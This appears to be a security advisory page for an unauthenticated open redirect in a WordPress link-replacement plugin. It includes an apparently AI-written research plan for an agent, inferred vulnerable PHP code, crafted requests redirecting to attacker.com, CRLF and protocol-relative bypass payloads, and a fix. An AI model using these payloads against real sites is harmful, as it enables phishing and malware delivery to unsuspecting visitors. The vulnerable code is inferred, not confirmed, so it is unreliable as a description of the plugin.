Update URLs – Quick and Easy way to search old links and replace them with new links in WordPress <= 1.4.1 - Unauthenticated Open Redirect
Description
The Search & Replace Everything – Quick and Easy Way to Find and Replace Text, Links plugin for WordPress is vulnerable to Open Redirect in all versions up to, and including, 1.4.1. This is due to insufficient validation on a redirect url supplied. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into performing an action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:NTechnical Details
This research plan targets **CVE-2026-25392**, an unauthenticated open redirect vulnerability in the **Search & Replace Everything – Quick and Easy Way to Find and Replace Text, Links (Update URLs)** plugin for WordPress. ### 1. Vulnerability Summary The "Update URLs" plugin (slug: `update-urls`) f…
Show full research plan
This research plan targets CVE-2026-25392, an unauthenticated open redirect vulnerability in the Search & Replace Everything – Quick and Easy Way to Find and Replace Text, Links (Update URLs) plugin for WordPress.
1. Vulnerability Summary
The "Update URLs" plugin (slug: update-urls) facilitates bulk searching and replacing of links within a WordPress database. The vulnerability exists because the plugin handles a user-supplied URL in a redirection function without performing sufficient validation or using WordPress's safe redirection functions (like wp_safe_redirect). This allows an attacker to craft a URL that redirects a victim from a trusted site to a malicious external domain.
2. Attack Vector Analysis
- Endpoint: Likely a hook registered to
init,wp_loaded, or anadmin-post.phpaction. - Parameter: A GET or POST parameter carrying the target URL (e.g.,
url,redirect_to,link, orpath). - Authentication: None (Unauthenticated).
- Preconditions: The plugin must be active. The attacker needs to identify the specific query parameter or action that triggers the redirect logic.
3. Code Flow (Hypothetical/Inferred)
As source files are not provided, the following flow is inferred based on standard Open Redirect patterns in similar plugins:
- Entry Point: The plugin registers a hook in its main file or an includes file (e.g.,
includes/class-update-urls.php).// Inferred registration add_action('init', 'update_urls_handle_redirect'); // OR add_action('admin_post_nopriv_update_urls_redirect', 'update_urls_handle_redirect'); - Processing: The function
update_urls_handle_redirectchecks for a specific trigger parameter.function update_urls_handle_redirect() { if (isset($_GET['update_urls_redirect'])) { // Inferred parameter name $target = $_GET['update_urls_redirect']; // VULNERABILITY: No validation or use of wp_validate_redirect wp_redirect($target); exit; } } - Sink: The
wp_redirect()function is called with raw user input, facilitating a redirect to any domain.
4. Nonce Acquisition Strategy
Open Redirect vulnerabilities typically occur in features designed for navigation or link testing where nonces are often omitted to allow "clean" URLs.
- Audit Step: Search the plugin code for
wp_verify_nonceorcheck_admin_referernear anywp_redirectorheader("Location: ...")calls. - Bypass: If a nonce is required but the handler is registered via
wp_ajax_nopriv_oradmin_post_nopriv_, check if the nonce is exposed in the frontend viawp_localize_script. - JS Variable: If localized, look for
window.update_urls_params?.nonce(inferred).
5. Exploitation Strategy
Phase 1: Discovery (Finding the Sink)
The agent must first identify the parameter and hook.
- Search for Redirects:
grep -rnE "wp_redirect|header\s*\(\s*['\"]Location" /var/www/html/wp-content/plugins/update-urls/ - Identify the Input: Look at the lines found. Determine which
$_GETor$_POSTvariable is passed to the redirect function. - Identify the Trigger: Check if the function is wrapped in an
if(isset(...))block or registered to anadmin_postaction.
Phase 2: Execution
Once the parameter (e.g., url) and trigger (e.g., action=test_link) are found:
Request Example (Inferred):
GET /wp-admin/admin-post.php?action=update_urls_test_link&url=https://attacker.com HTTP/1.1
Host: target.local
Alternatively, if it's on init:
GET /?update_urls_redirect=https://attacker.com HTTP/1.1
Host: target.local
6. Test Data Setup
- Install and activate the "Update URLs" plugin version 1.4.1.
- No specific database content is required as this vulnerability typically resides in the redirect logic itself rather than database processing.
- If the redirect is tied to a "Preview" feature, create a dummy post with a link to ensure the plugin's scripts are loaded (if needed for discovery).
7. Expected Results
- The server should respond with a
301or302Redirect status code. - The
Locationheader in the HTTP response must point exactly to the external URL provided (e.g.,https://attacker.com). - Example Response:
HTTP/1.1 302 Found Location: https://attacker.com Content-Type: text/html; charset=UTF-8
8. Verification Steps
- Browser Verification: Use
browser_navigateto the crafted URL and usebrowser_eval("window.location.href")to confirm the browser successfully moved toattacker.com. - HTTP Header Check: Use
http_requestand inspect theheadersobject in the response to confirm theLocationheader.
9. Alternative Approaches
- Protocol Bypasses: If
wp_redirectis used and some validation exists, try//attacker.com(protocol-relative) or/%0d%0aLocation:%20https://attacker.com(CRLF injection if the PHP version is old/vulnerable). - Path Traversal/Local Redirect: If external domains are blocked, test if the plugin allows redirecting to sensitive internal paths like
/wp-admin/user-new.php. - Action Search: If
admin-post.phpreturns a 200, search the codebase foradd_action( 'wp_ajax_nopriv_to see if the redirect is handled via an AJAX callback instead.
Summary
The Search & Replace Everything – Quick and Easy Way to Find and Replace Text, Links plugin for WordPress is vulnerable to an unauthenticated open redirect due to insufficient validation of user-supplied URLs in its redirection logic. This allows attackers to craft links that redirect victims from a trusted site to a malicious external domain.
Vulnerable Code
// Inferred logic based on research plan from the plugin's redirect handler function update_urls_handle_redirect() { if (isset($_GET['update_urls_redirect'])) { $target = $_GET['update_urls_redirect']; // VULNERABILITY: No validation or use of wp_validate_redirect wp_redirect($target); exit; } }
Security Fix
@@ -10,1 +10,1 @@ - wp_redirect($target); + wp_safe_redirect($target);
Exploit Outline
The exploit involves identifying the specific trigger parameter and endpoint (likely an 'init' hook or an 'admin-post.php' action) that handles redirects. An unauthenticated attacker crafts a URL containing the target malicious site in the redirect parameter (e.g., '/?update_urls_redirect=https://attacker.com'). When a victim clicks this link, the plugin processes the request and issues a 302 Redirect header to the external site without verifying if the domain is safe or internal, facilitating a phishing or malware delivery attack.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.